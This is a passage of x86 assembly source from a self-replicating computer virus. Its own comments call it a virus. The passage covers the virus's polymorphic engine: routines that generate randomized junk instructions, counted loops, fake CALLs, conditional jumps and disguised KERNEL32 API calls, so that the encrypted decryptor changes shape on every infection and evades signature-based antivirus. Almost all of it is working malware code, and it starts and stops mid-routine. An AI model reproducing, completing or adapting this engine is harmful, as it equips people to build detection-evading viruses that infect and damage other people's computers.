                mov     al, 0A2h    ; AL=Opcode of MOV [Value],AL. From this
                                    ; opcode we get the variants
                call    RandomFlags ; Select 8 or 32 bits
                jz    @@MW_WR_EAX3  ; Jump if 8 bits
         @@MW_WR_EAX2:
                inc     eax         ; Increase opcode to make MOV [Value],EAX
         @@MW_WR_EAX3:
                cmp     byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
                jnz   @@MW_WR_82    ; If not, jump and continue
                sub     al, 2       ; Make READ subtracting 2 to the opcode.
                                    ; Then we'll make MOV AL/EAX,[Value]
      @@MW_WR_82:          
                stosb               ; Store the opcode
                jmp   @@MW_WR_02    ; Jump to insert the memory address
          ; Not EAX in the register
      @@MW_WR_01:
                cmp     byte ptr [ebp+@@MemoryRead], 1 ; Memory read?
                jnz   @@ContinueMW                     ; If not, continue
                cmp     byte ptr [ebp+@@Memo32bits], 1 ; 32 bits?
                jz    @@MW_WR_32b         ; If 32 bits, jump
                jmp   @@MW_WR_8b          ; Avoid opcode increment
          ; Here to memory write
  @@ContinueMW: call    RandomFlags ; Decide: 8 or 32 bits?
                jz    @@MW_WR_8b    ; If 8, jump
      @@MW_WR_32b:
                inc     eax      ; Convert opcode to 32 bits operation from a
      @@MW_WR_8b:                ; a 8 bits opcode
                cmp     byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
                jnz   @@MW_WR_83     ; If write, jump
                add     al, 2        ; Convert write opcode to read opcode
      @@MW_WR_83:
                stosw                ; Store the opcode
      @@MW_WR_02:
                mov     eax, ebx
                stosd      ; Store the memory address (or calculated addition)
                jmp   @@Return    ; Jump to return

   ;; Here we make recursive garbage. We can do a CALL to a subroutine (where
   ;; we need more garbage) or a comparision and a conditional jump, where we
   ;; have to make garbage between the jump and the destination address, since
   ;; we can't assure that the conditional jump is going to be taken or not,
   ;; or a call to a KERNEL32 function.
    @@RecursiveOnes:
                cmp     byte ptr [ebp+GarbageRecursivity], 4 ; Too many recur-
                                         ; sive instances of function Garbage?
                jz    @@Make1      ; If too many, make another type of garbage
                cmp     byte ptr [ebp+ImInRandomLoop], 1
                jz    @@Make1
                call    RandomFlags
                jz    @@Recurs_002
                js    @@Recurs_002 ; Select CALL / Conditional jump
                jp    @@Recurs_002
     ;; Let's do a little loop (no more than seven loops). We use a reserved
     ;; register because we know that they won't be changed (we PUSH it and
     ;; later POP it)
  @@RandomLoop: call    Random
                and     eax, 3
                cmp     al, 2
                jz    @@RandomLoop ; Don't use key register
                mov     al, [ebp+eax+Index1Register]
                cmp     al, 08h
                jz    @@Make1
                cmp     byte ptr [ebp+eax+TouchedRegisters], 1
                jnz   @@Make1
                mov     byte ptr [ebp+ImInRandomLoop], 1
                mov     byte ptr [ebp+@@SelectedRegister], al
                mov     dl, al
                add     al, 50h
                stosb              ; Store PUSH
      @@OtherRandom:
                call    Random            ; Get a value that doesn't make any
                cmp     eax, 8            ; problem when using either signed
                jbe   @@OtherRandom       ; or unsigned comparisions (this
                cmp     eax, 7FFFFFF7h    ; means, the initial value of the
                jbe   @@RandomOK          ; counter and the final one - the
                cmp     eax, 80000008h    ; compared - can be compared with
                jbe   @@OtherRandom       ; sign or without sign), so we can
                cmp     eax, 0FFFFFFF7h   ; use JG/JGE/JA/JAE when decreasing
                jae   @@OtherRandom       ; and JL/JLE/JB/JBE when increasing,
                                          ; apart of J(N)Z/J(N)S for both
    @@RandomOK: mov     [ebp+@@InitLoopValue], eax ; Save that value
                call    DoMOV             ; Make a mov with the selected reg.
                call    DoRandomGarbage   ; Make garbage
                mov     esi, edi          ; Save the looping address
     @@RandomLoopAgain01:
                call    DoRandomGarbage   ; Make garbage
                cmp     esi, edi          ; Did it make garbage?
                jz    @@RandomLoopAgain01 ; If not, repeat
                call    RandomFlags       ; Select increasing or decreasing
                setz    al                ; Set it in AL
                mov     [ebp+@@Increasing], al ; Save this flag
                jz    @@IncreaseReg       ; If ZF (AL=1), increase
     @@DecreaseReg:
                call    Random
                and     al, 3         ; Get one of three types for decreasing:
                jz    @@DecreaseReg   ; DEC, ADD -1 or SUB 1
                cmp     al, 2
                jb    @@DecreaseWithADD
                jz    @@DecreaseWithSUB
     @@DecreaseWithDEC:
                mov     al, 48h       ; Opcode of DEC
                add     al, [ebp+@@SelectedRegister] ;Bind the register to the
                stosb                                ; opcode and store it
                jmp   @@RL_Next01
     @@DecreaseWithADD:
                mov     ax, 0C083h    ; ADD Reg,(Dword-Packed-To-Byte)
                or      ah, [ebp+@@SelectedRegister] ; Set the register
                stosw                 ; Store opcode
                mov     al, 0FFh      ; ADD Reg,-1
                stosb                 ; Store it
                jmp   @@RL_Next01     ; Jump to complete
     @@DecreaseWithSUB:
                mov     ax, 0E883h    ; SUB Reg,(Dword-Packed-To-Byte)
                or      ah, [ebp+@@SelectedRegister] ; Set the register
                stosw                 ; Store the opcode
                mov     al, 1         ; SUB Reg,1
                stosb                 ; Store the value
     @@RL_Next01:
                call    Random        ; Get a number between 4 and 7
                and     eax, 3
                add     eax, 4
                sub     eax, [ebp+@@InitLoopValue] ;Subtract it to the initial
                neg     eax                    ; value and get the final value
                jmp   @@PutComparisionForLoop  ; Jump to complete
          ; Here if we increase
     @@IncreaseReg:
                call    Random        ; Get randomly INC, ADD 1 or SUB -1
                and     al, 3
                jz    @@IncreaseReg
                cmp     al, 2
                jb    @@IncreaseWithADD
                jz    @@IncreaseWithSUB
     @@IncreaseWithDEC:
                mov     al, 40h       ; INC Reg
                add     al, [ebp+@@SelectedRegister] ; Set the register
                stosb                 ; Store it
                jmp   @@RL_Next02     ; Jump to continue
     @@IncreaseWithADD:
                mov     ax, 0C083h    ; ADD Reg,(Dword-Packed-To-Byte)
                or      ah, [ebp+@@SelectedRegister] ; Set the register
                stosw                 ; Store the opcode
                mov     al, 01h       ; ADD Reg,1
                stosb                 ; Store the value
                jmp   @@RL_Next02     ; Jump to continue
     @@IncreaseWithSUB:
                mov     ax, 0E883h    ; SUB Reg,(Dword-Packed-To-Byte)
                or      ah, [ebp+@@SelectedRegister] ; Bind the register
                stosw                 ; Store the opcode
                mov     al, 0FFh      ; SUB Reg,-1
                stosb                 ; Store the value
     @@RL_Next02:
                call    Random        ; Get a value between 4 and 7
                and     eax, 3
                add     eax, 4
                add     eax, [ebp+@@InitLoopValue] ; Add it to the initial
                                               ; value to get the final value
     @@PutComparisionForLoop:
                push    eax          ; Save the final value of the counter
                cmp     byte ptr [ebp+@@SelectedRegister], 0 ; Is EAX the re-
                                                 ; gister that we are using?
                jz    @@CMP_EAX      ; If it is, use the EAX exclusive opcode
                                     ; to do CMP
                mov     ax, 0F881h   ; Opcode of CMP
                or      ah, [ebp+@@SelectedRegister] ; Set the register
                stosw                ; Store the opcode
                jmp   @@RL_Next03    ; Jump and continue
     @@CMP_EAX: mov     al, 3Dh      ; Use the opcode of CMP EAX,Value
                stosb                ; Store it
   @@RL_Next03: pop     eax        ; Get the value to CMP
                stosd              ; Store the value
                movzx   ebx, byte ptr [ebp+@@Increasing] ; EBX=0 or 1
                shl     ebx, 3                           ; EBX=0 or 8
                lea     ebx, [ebp+ebx+@@JumpsForLoopD]  ; EBX=Address of jumps
                                                        ; table
   @@RL_Next04: call    Random       ; Get a random number between 0 and 5
                and     eax, 7
                cmp     eax, 6
                jae   @@RL_Next04
                mov     al, [ebx+eax] ; Get a jump opcode
                sub     esi, edi
                sub     esi, 2       ; Get the loop distance for the jump back
                cmp     esi, -80h    ; Check if we use the 8 bits opcode or
                jae   @@RL_Next05    ; the 32 one. Jump if we use the 8 bits
                                     ; conditional jump.
                sub     esi, 4      ; Add 4 to the displacement back

                mov     ah, al
                add     ah, 10h      ; Convert the 8 bits opcode to the 32
                mov     al, 0Fh      ; bits one
                stosw                ; Store it
                xchg    esi, eax
                stosd                ; Store the displacement
                jmp   @@RL_Next06    ; Jump and continue
   @@RL_Next05: stosb                ; Store the 8 bits opcode
                xchg    esi, eax
                stosb                ; Store the displacement
   @@RL_Next06: call    DoRandomGarbage
                mov     al, [ebp+@@SelectedRegister]
                add     al, 58h  ; Store POP with the used register
                stosb
                mov     byte ptr [ebp+ImInRandomLoop], 0
                jmp   @@Return

@@JumpsForLoopD db      79h, 75h, 77h, 73h, 7Fh, 7Dh, 0, 0
                ;       JNS, JNZ,  JA, JAE,  JG, JGE
@@JumpsForLoopI db      78h, 75h, 72h, 76h, 7Ch, 7Eh, 0, 0
                ;       JS,  JNZ,  JB, JBE,  JL, JLE
@@SelectedRegister      db      0
@@InitLoopValue         dd      0
@@Increasing            db      0

 @@Recurs_002:  call    RandomFlags    ; Select if we do a CALL or a jump
                jz    @@DoConditionalJump  ; Make a conditional jump if ZF
                js    @@DoCALL
    @@APICall:  cmp     byte ptr [ebp+ImInRandomLoop], 1
                jz    @@Make1
                call    RandomFlags
                jz    @@Make1
                call    InsertAPICall
                jmp   @@Return
    @@DoCALL:   call    RandomFlags
                jz    @@NormalCALL
                movzx   eax, byte ptr [ebp+GarbageRecursivity]
                dec     eax
                mov     ecx, eax
                shl     ecx, 5
                add     ecx, eax
                shl     ecx, 2
                cmp     dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 4
                jb    @@NormalCALL
                ja    @@SelectRandomFixedCALL
                mov     eax, [ebp+ecx+ArrayOfCalls1]
                jmp   @@ContinueFixedCALL_002
      @@SelectRandomFixedCALL:
                lea     esi, [ebp+ecx+ArrayOfCalls1]
      @@LoopFixedCALL_001:
                call    Random
                and     eax, 3Ch
                cmp     eax, [ebp+ecx+ArrayOfCalls1Ndx]
                jae   @@LoopFixedCALL_001
                add     eax, ecx
                mov     eax, [ebp+eax+ArrayOfCalls1]
        @@ContinueFixedCALL_002:
                sub     eax, [ebp+DecryptorBeginAddress]
                add     eax, [ebp+DecryptorVirtualBeginAddress]
                call    MakeCALLTo
                jmp   @@Return

         @@NormalCALL:
                cmp     dword ptr [ebp+CallsLevel1Ndx], 20h*4
                jz    @@Make1   ; If we can't do more level 1 calls, do other
                                ; type of garbage
                cmp     dword ptr [ebp+CallsLevel2Ndx], 20h*4
                jz    @@Make1   ; If we can't do more level 2 calls, do other
                                ; type of garbage
                cmp     dword ptr [ebp+CallsLevel3Ndx], 20h*4
                jz    @@Make1   ; If we can't do more level 3 calls, do other
                                ; type of garbage
                cmp     byte ptr [ebp+KeyIsInit], 1 ; Is the key register set?
                jnz   @@Make1                ; If it isn't, then avoid CALLs.
                         ; Explanation: we make first the CALL and quite later
                         ; we code the subroutine itself. Then, we maybe put
                         ; inside the subroutines any indexed memory access,
                         ; for which we need the Key register with its correct
                         ; value. If it isn't set yet, then when call to the
                         ; subroutine we'll use the Key register as index but
                         ; with an unknown value.
                call    RandomFlags  ; Stack entries?
                jz    @@NoStack
                js    @@NoStack
                           ; Put stack entries with a 25% of probability
                mov     byte ptr [ebp+@@WithStack], 1 ; Mark it
                call    Random
                and     eax, 3
                inc     eax          ; Get a number between 1 and 4
                mov     byte ptr [ebp+@@StackEntries], al ; Save this number
                mov     ecx, eax     ; ECX=that number
   @@LoopInsertEntries:
                mov     al, 68h      ; Opcode of PUSH Value
                stosb                ; Store it
   @@AnotherValueTypeForStack:
                call    Random       ; Get a random type of value to push
                and     al, 3
                jz    @@PushRegister    ; AL=0? Then push a register
                cmp     al, 2
                jb    @@PushAddress     ; AL=1? Then push a memory address
                jz    @@PushPureRandom  ; AL=2? Then push a random dword
    @@PushPseudoFlags:                  ; AL=3? Then push a random < 10000h
                call    Random                               ; (like flags)
                and     eax, 0FFFFh
                jmp   @@NextStackEntry  ; Store value
    @@PushAddress:
                call    SelectAnAddressLow ; Get an address
                mov     eax, ebx        ; Put it into EAX and jump to store it
                jmp   @@NextStackEntry  ; Jump to store it
    @@PushRegister:
                call    SelectAnyRegisterWithInit
                dec     edi
                add     al, 50h
                stosb
                jmp   @@ContinueStackEntries
    @@PushPureRandom:
                call    Random          ; EAX=Random value
    @@NextStackEntry:
                cmp     eax, 7Fh
                jbe   @@TwoBytesEntry
                cmp     eax, 0FFFFFF80h ; Is the value between -80h and 7Fh?
                jae   @@TwoBytesEntry   ; If it is, change the opcode
                stosd                   ; Store the dword
                jmp   @@ContinueStackEntries ; Jump and continue

   @@TwoBytesEntry:
                mov     byte ptr [edi-1], 6Ah ; Change the opcode by PUSH
                stosb         ; Packed_Dword_Value and store the value to push
   @@ContinueStackEntries:
                loop  @@LoopInsertEntries ; Loop and make it ECX times
                jmp   @@ContinueCALL      ; Continue the CALL coding
                ;; Here if we don't use stack
   @@NoStack:   mov     byte ptr [ebp+@@WithStack], 0 ; Set this variable
   @@ContinueCALL:
                mov     al, 0E8h
                stosb             ; Insert a CALL opcode
                movzx   ebx, byte ptr [ebp+GarbageRecursivity] ; Get the level
                dec     ebx                                    ; of the stack
                mov     ecx, ebx  
                shl     ebx, 5   ; *20h
                add     ebx, ecx ; *21h
                shl     ebx, 2   ; *84h, so we get the level multiplied by
                                 ; 84h, to use a generic way of setting the
                                 ; CALL data into the arrays depending on the
                                 ; level
                mov     ecx, [ebp+ebx+CallsLevel1Ndx] ;Get the index of inser-
                                                      ;tion
                add     ecx, ebx ; Add the level*84h
                mov     dword ptr [ebp+ecx+CallsLevel1], edi ; Set the current
                                 ; address into the array for later completion
                add     dword ptr [ebp+ebx+CallsLevel1Ndx], 4 ; Increase the
                                                        ; index of insertion
                add     edi, 4   ; Leave space for the CALL displacement and
                                 ; complete it later
                cmp     byte ptr [ebp+@@WithStack], 1 ; Have we used stack?
                jnz   @@Return                        ; If not, finish
                mov     ax, 0C483h  ; AX=Opcode of the instruction ADD ESP,xxx
                stosw               ; Store the opcode
                mov     al, byte ptr [ebp+@@StackEntries] ; Get the number to
                shl     al, 2       ; add to ESP to release the stack
                stosb               ; Store it
                jmp   @@Return      ; Return

@@WithStack     db      0    ; Variables used before
@@StackEntries  db      0

   ;; Here we make a random conditional jump. The comparision is absolutely
   ;; random, so it's the condition to jump. Between the jump and the destiny
   ;; we make functional garbage, since we don't know if the jump is going to
   ;; be taken or not.
    @@DoConditionalJump:
                call    SelectARegisterWithInit ; Get a initialized register
                mov     dl, al        ; Save it in DL
                call    RandomFlags   ; CMP Reg,Value or CMP Reg,Reg?
                jz    @@CMP_Reg       ; Then make a CMP Reg,Reg
        @@CMP_Value:
                or      dl, dl
                jnz   @@CMP_Value_NoEax
                mov     al, 3Dh
                stosb
                jmp   @@CMP_Value_Cont00
        @@CMP_Value_NoEax:
                mov     ax, 0F881h    ; Opcode of CMP Reg,Value
                or      ah, dl        ; Set the register
                stosw                 ; Store it
        @@CMP_Value_Cont00:
                call    Random
                stosd                 ; Store a random value to compare
                jmp   @@CJ_Again      ; Jump to continue
        @@CMP_Reg:
                call    SelectAnyRegisterWithInit ; Get any initialized regis-
                                          ; ter (all can be selected but ESP)
                cmp     al, dl      ; Is it the same as the selected before?
                jz    @@CMP_Reg     ; If it is the same, then repeat
                mov     dh, al      ; Save it in DH
                mov     ax, 0C03Bh  ; 3B C0, opcode of CMP Reg,Reg
                or      ah, dl      ; Set the selected registers
                shl     dh, 3
                or      ah, dh
                stosw               ; Store the opcode
            ; Let's do a random conditional jump
        @@CJ_Again:
                call    Random
                and     al, 0Fh
                add     al, 70h  ; Get a conditional jump random opcode
                stosb            ; Store it
                inc     edi      ; Leave space for the displacement
        @@CJ_Again3:
                push    dword ptr [ebp+CallsLevel1Ndx] ; Save the indexes of
                push    dword ptr [ebp+CallsLevel2Ndx] ; the calls. If we have
                push    dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
                                   ; because it's too long, we have to restore
                                   ; this to not set any inexistent CALL dis-
                                   ; placement over other code that's not a
                                   ; CALL
        @@CJ_Again2:
                mov     esi, edi   ; Save the actual storage index
                call    DoRandomGarbage ; Make garbage
                call    DoRandomGarbage ; Make garbage
                sub     esi, edi   ; Get the (-)displacement of the jump
                jz    @@CJ_Again2  ; If it's zero, loop to make garbage
                neg     esi        ; Calculate true displacement
                cmp     esi, 7Fh   ; Does it overpass the limit for displac.?
                jbe   @@CJ_OK      ; If not, jump and continue
                pop     dword ptr [ebp+CallsLevel3Ndx] ; Restore this, elimi-
                pop     dword ptr [ebp+CallsLevel2Ndx] ; nating any created
                pop     dword ptr [ebp+CallsLevel1Ndx] ; call before
                sub     edi, esi   ; Restore EDI...
                jmp   @@CJ_Again3  ; ...and repeat the garbage generation
               ; Here if the size of the garbage is correct
       @@CJ_OK: pop     eax ; Release the data in stack
                pop     eax
                pop     eax
                mov     eax, esi ; Put the displacement in AL
                neg     esi      ; Calculate the distance until the opcode
                mov     byte ptr [edi+esi-1], al ; Set the displacement in
                                                 ; the opcode
              ;  jmp   @@Return

    @@Return:
    @@DontMake: mov     [esp+S_EDI], edi  ; Conserve EDI when POPAD
                dec     byte ptr [ebp+GarbageRecursivity] ; Decrease recursi-
                                                          ; vity level
                popad
                ret     ; Return completely or just to another running instan-
                        ; ce of Garbage
Garbage         endp

ImInRandomLoop  db      0    ; Variable to avoid nested garbage loops

;; EAX=Address to make a CALL to
MakeCALLTo      proc
                pushad
                mov     ebx, eax
                call    RandomFlags
                jz    @@CALLToMem
  @@CALLToReg:  call    Random
                and     eax, 3
                cmp     eax, 2
                jz    @@CALLToReg   ; No key register!
                mov     dl, [ebp+eax+Index1Register]
                cmp     dl, 8
                jnz   @@CALLToReg2
                mov     dl, [ebp+Index1Register]
  @@CALLToReg2: call    DoPUSHReg
                call    DoRandomGarbage
                mov     eax, ebx
                call    DoMOV
                call    DoRandomGarbage
                mov     ax, 0D0FFh
                or      ah, dl
                stosw
                call    DoRandomGarbage
                call    DoPOPReg
                jmp   @@Return

  @@CALLToMem:  call    GetAndReserveVar
                or      ebx, ebx
                jz    @@CALLToReg

                call    RandomFlags
                jz    @@MoveToRegForCALL
       @@DirectCALLToMem:
                call    DoMOVMemValue
                call    DoRandomGarbage
                call    RandomFlags
                jz    @@DC_00
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@DC_00
                push    ebx
                mov     ax, 10FFh
                sub     ebx, [ebp+DecryptKey]
                cmp     ebx, 7Fh
                jbe   @@DC_01
                cmp     ebx, 0FFFFFF80h
                jae   @@DC_01
                or      ah, 80h
                or      ah, [ebp+KeyRegister]
                stosw
                mov     eax, ebx
                stosd
                jmp   @@DC_02
      @@DC_01:  or      ah, 40h
                or      ah, [ebp+KeyRegister]
                stosw
                mov     al, bl
                stosb
      @@DC_02:  pop     ebx
      @@DC_03:  call    ReleaseVar
                jmp   @@Return
      @@DC_00:  mov     ax, 15FFh
                stosw
                mov     eax, ebx
                stosd
                jmp   @@DC_03

     @@MoveToRegForCALL:
                mov     ecx, eax
                call    RandomFlags
                jz    @@DirectValueForCALL
                call    Random
                sub     ebx, eax
                mov     byte ptr [ebp+@@PureValue], 0
                mov     dword ptr [ebp+@@ValueToAdd], eax
                jmp   @@DVFC_001
     @@DirectValueForCALL:
                mov     byte ptr [ebp+@@PureValue], 1
                mov     dword ptr [ebp+@@ValueToAdd], 0
    @@DVFC_001: call    Random
                and     eax, 3
                cmp     eax, 2
                jz    @@DVFC_001
                mov     dl, [ebp+eax+Index1Register]
                cmp     dl, 8
                jnz   @@DVFC_001_
                mov     dl, [ebp+Index1Register]
   @@DVFC_001_: call    RandomFlags
                jz    @@FirstMovReg
    @@FirstMovMem:
                call    RandomFlags
                jz    @@FMM_PushFirst
                mov     eax, ecx
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                push    ebx
                add     ebx, [ebp+@@ValueToAdd]
                call    DoMOVMemValue
                pop     ebx
                call    DoRandomGarbage
                call    DoPUSHReg
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
     @@FMM_001: push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoRandomGarbage
                mov     eax, ebx
                call    DoMOV
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                jmp   @@InsertCALL
      @@FMM_PushFirst:
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoPUSHReg
                call    DoRandomGarbage
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                mov     eax, ecx
                push    ebx
                add     ebx, [ebp+@@ValueToAdd]
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoMOVMemValue
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                pop     ebx
                jmp   @@FMM_001
    @@FirstMovReg:
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoPUSHReg
                call    DoRandomGarbage
                mov     eax, ebx
                call    DoMOV
                call    DoRandomGarbage
                mov     eax, ecx
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                push    ebx
                add     ebx, [ebp+@@ValueToAdd]
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoMOVMemValue
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                pop     ebx
    @@InsertCALL:
                push    dword ptr [ebp+@@PureValue]
                push    dword ptr [ebp+@@ValueToAdd]
                call    DoRandomGarbage
                pop     dword ptr [ebp+@@ValueToAdd]
                pop     dword ptr [ebp+@@PureValue]
                mov     ax, 10FFh
                or      ah, dl
                cmp     byte ptr [ebp+@@PureValue], 1
                jz    @@WithoutAddition
       @@WithAddition:
                cmp     dword ptr [ebp+@@ValueToAdd], 7Fh
                jbe   @@WA_byte
                cmp     dword ptr [ebp+@@ValueToAdd], 0FFFFFF80h
                jae   @@WA_byte
                or      ah, 80h
                stosw
                mov     eax, [ebp+@@ValueToAdd]
                stosd
                jmp   @@OK2
     @@WA_byte: or      ah, 40h
                stosw
                mov     eax, [ebp+@@ValueToAdd]
                stosb
                jmp   @@OK2

     @@WithoutAddition:
                cmp     dl, 5
                jz    @@WithAddition
         @@OK:  stosw
         @@OK2: call    DoRandomGarbage
                call    DoPOPReg
                call    ReleaseVar
            ;    jmp   @@Return

     @@Return:  mov     [esp+S_EDI], edi
                popad
                ret
@@PureValue     db      0
@@ValueToAdd    dd      0

MakeCALLTo      endp

ReserveReg      proc
                pushad
          @@OtherRandom:
                call    Random
                and     eax, 3
                cmp     eax, 2
                jz    @@OtherRandom
                mov     dl, [ebp+eax+Index1Register]
                cmp     dl, 8
                jnz   @@AnyReg
                mov     dl, [ebp+Index1Register]
      @@AnyReg: call    DoPUSHReg
      @@Return: mov     [esp+S_EDX], edx
                mov     [esp+S_EDI], edi
                popad
                ret
ReserveReg      endp

ReleaseReg      proc
                pushad
                call    DoPOPReg
      @@Return: mov     [esp+S_EDI], edi
                popad
                ret
ReleaseReg      endp


;; This function selects a readable/writable memory address that can be used
;; for memory operations without causing any exception. It will get any
;; address from five frames that are prepared from the beginning. In this
;; virus there are five frames, but in another maybe there is one or two, so
;; we simply would put the same frames in the different variables.
;; I use here the .bss section (as a normal application does), and since the
;; section of the virus is theorically a data section, then some data frames
;; that the virus sets with its values while executing, not needing what was
;; there (that idea was made in MeDriPolEn, but now I pulished it).
SelectAnAddress proc
                push    eax
                push    ecx
      @@Again:  call    Random
                and     eax, 7
                cmp     eax, 5  ; Get a data frame from 0 to 4
                jae   @@Again
                mov     ebx, [ebp+4*eax+BssSection] ; Get the address of that
                                                    ; frame

  ; I think a normal .bss section has 256 bytes at least! (and the others I'm
  ; sure they have them)
      @@Again2: call    Random
                cmp     byte ptr [ebp+SelectLowAddress], 1
                jz    @@LowAddress
                and     eax, 03Ch
                cmp     al, 30h
                ja    @@Again2
                or      al, 80h
                jmp   @@Done
       @@LowAddress:
                and     eax, 7Ch                
       @@Done:  add     ebx, eax  ; Now we have a random address
                cmp     dword ptr [ebp+ReservedBssAddress], ebx ; See if it's
                                  ; equal to the reserved one
                jz    @@Again     ; If it's equal (what a casuality!) then
                                  ; select another
                mov     ecx, 20h
    @@Loop_01:  cmp     ebx, [ebp+4*ecx+ReservedMemVars_Addr-4]
                jz    @@Again
                loop  @@Loop_01

      @@Return: pop     ecx
                pop     eax
                ret            ; Return
SelectAnAddress endp

SelectAnAddressLow proc
                mov     byte ptr [ebp+SelectLowAddress], 1
                jmp     SelectAnAddress
SelectAnAddressLow endp

SelectAnAddressHigh proc
                mov     byte ptr [ebp+SelectLowAddress], 0
                jmp     SelectAnAddress
SelectAnAddressHigh endp

SelectLowAddress db     0

;; This function gets a random register (random number between 0 and 7) and
;; keep on getting it until that number doesn't coincide with any reserved
;; register identificator, nor with ESP, nor with the selected in the last
;; call to this function or similar.
SelectARegister proc
                call    Random
                and     al, 7   ; Random between 0 and 7
                cmp     al, 4   ; ESP?
                jz      SelectARegister ; Then, repeat
                cmp     al, byte ptr [ebp+Index1Register] ; Equal to Index1?
                jz      SelectARegister                   ; Then, repeat
                cmp     al, byte ptr [ebp+Index2Register] ; Equal to Index2?
                jz      SelectARegister                   ; Then, repeat
                cmp     al, byte ptr [ebp+KeyRegister]    ; Equal to Key?
                jz      SelectARegister                   ; Then, repeat
                cmp     al, byte ptr [ebp+BufferRegister] ; Equal to Buffer?
                jz      SelectARegister                   ; Then, repeat
                cmp     al, byte ptr [ebp+RegisterSelectedB4] ; If it's equal
                jz      SelectARegister    ; to the last selected one, repeat
                mov     byte ptr [ebp+RegisterSelectedB4], al ; Save as the
                ret                           ; last selected, and return
SelectARegister endp

;; This function does the same as the function above but with a 8 bits regis-
;; ter, so it can only select E?X registers. Since there are four reserved
;; registers and only four composed registers (E?X), maybe this registers are
;; all reserved, so we check it before, returning the value 8 if no 8 bits re-
;; gister can be selected. Also we initialize the register if the selected one
;; hasn't been "touched" before, since we only use 8 bits registers to make
;; garbage.
SelectAReg8     proc
                cmp     byte ptr [ebp+Index1Register], 3 ; E?X?
                ja    @@NoProblemo                       ; If, not, continue
                cmp     byte ptr [ebp+Index2Register], 3 ; E?X?
                ja    @@NoProblemo                       ; If, not, continue
                cmp     byte ptr [ebp+KeyRegister], 3    ; E?X?
                ja    @@NoProblemo                       ; If, not, continue
                cmp     byte ptr [ebp+BufferRegister], 3 ; E?X?
                ja    @@NoProblemo                       ; If, not, continue
                mov     al, 8    ; Since all reserved are E?X, we can't conti-
                ret              ; nue
    @@NoProblemo:
                call    Random
                and     al, 3    ; Get a E?X register
                cmp     al, byte ptr [ebp+Index1Register] ; Is it reserved?
                jz    @@NoProblemo                        ; If not, continue
                cmp     al, byte ptr [ebp+Index2Register] ; Is it reserved?
                jz    @@NoProblemo                        ; If not, continue
                cmp     al, byte ptr [ebp+KeyRegister]    ; Is it reserved?
                jz    @@NoProblemo                        ; If not, continue
                cmp     al, byte ptr [ebp+BufferRegister] ; Is it reserved?
                jz    @@NoProblemo                     ; If not, continue
                push    eax
                and     eax, 0FFh       ; Look if the register is "touched"
                cmp     byte ptr [ebp+eax+TouchedRegisters], 1
                jz    @@OK              ; If it is, jump and continue
                push    edx         ; Save registers
                mov     dl, al      ; DL=Selected 32 bits register
                call    Random      ; Set a random value
                call    DoMOV  ; Make a MOV (or similar) with the reg and the
                pop     edx    ; value, and restore the registers from stack
     @@OK:      pop     eax
                and     ah, 4
                or      al, ah  ; Select random ?L or ?H
                ret             ; Return
SelectAReg8     endp

;; API calling thingies
InsertAPICall   proc
                pushad
                cmp     byte ptr [ebp+ImInAPI], 1
                jz    @@End2
                cmp     byte ptr [ebp+AnyAPIFound], 1
                jnz   @@End2
                mov     byte ptr [ebp+ImInAPI], 1
                mov     byte ptr [ebp+APICall_StackOrder], 0

                lea     ebx, [ebp+offset APICall_SaveEAX]
                lea     ecx, [ebp+offset APICall_SaveECX]
                lea     edx, [ebp+offset APICall_SaveEDX]
                lea     esi, [ebp+offset DoRandomGarbage]
                call    RandomCalling

                cmp     byte ptr [ebp+FirstAPICall], 2
                jz    @@Normal
       @@OtherRandom:
                inc     byte ptr [ebp+FirstAPICall]
                call    Random
                and     eax, 30h
                jmp   @@Continue1
          @@Normal:
                call    Random
                and     eax, 1Fh
                mov     ebx, eax
                call    Random
                and     eax, 0Fh
                sub     ebx, eax
                jbe   @@Normal
                mov     eax, 1Fh
                sub     eax, ebx
                shl     eax, 4 ; *10h
     @@Continue1:
                mov     esi, eax
     @@LoopSearch:
                cmp     dword ptr [ebp+esi+APIInfo+4], 0
                jnz   @@APIFound
                add     esi, 10h
                cmp     esi, 20h*10h
                jb    @@LoopSearch
                xor     esi, esi
                jmp   @@LoopSearch
   @@APIFound:  mov     al, byte ptr [ebp+esi+APIInfo+0Ah]
                call    PushParameter
                mov     al, byte ptr [ebp+esi+APIInfo+09h]
                call    PushParameter
                mov     al, byte ptr [ebp+esi+APIInfo+08h]
                call    PushParameter

                call    RandomFlags
                jz    @@WithAddition

       @@WithoutAddition:
                mov     ax, 15FFh   ;; CALL DWORD PTR [xxx]
                stosw
                mov     eax, [ebp+esi+APIInfo+04h]
                stosd
                jmp   @@Continue

       @@WithAddition:
                cmp     byte ptr [ebp+KeyIsInit], 1
                jnz   @@WithoutAddition
                mov     ax, 10FFh
                or      ah, [ebp+KeyRegister]
                mov     ecx, [ebp+esi+APIInfo+04]
                sub     ecx, [ebp+DecryptKey]
                cmp     ecx, 7Fh
                jbe   @@AddByte
                cmp     ecx, 0FFFFFF80h
                jae   @@AddByte
                or      ah, 80h
                stosw
                mov     eax, ecx
                stosd
                jmp   @@Continue
        @@AddByte:
                or      ah, 40h
                stosw
                mov     eax, ecx
                stosb
        @@Continue:
                mov     al, byte ptr [ebp+esi+APIInfo+0Bh]
                or      al, al
                jz    @@Check0
                cmp     al, 2
                jb    @@CheckMinus1
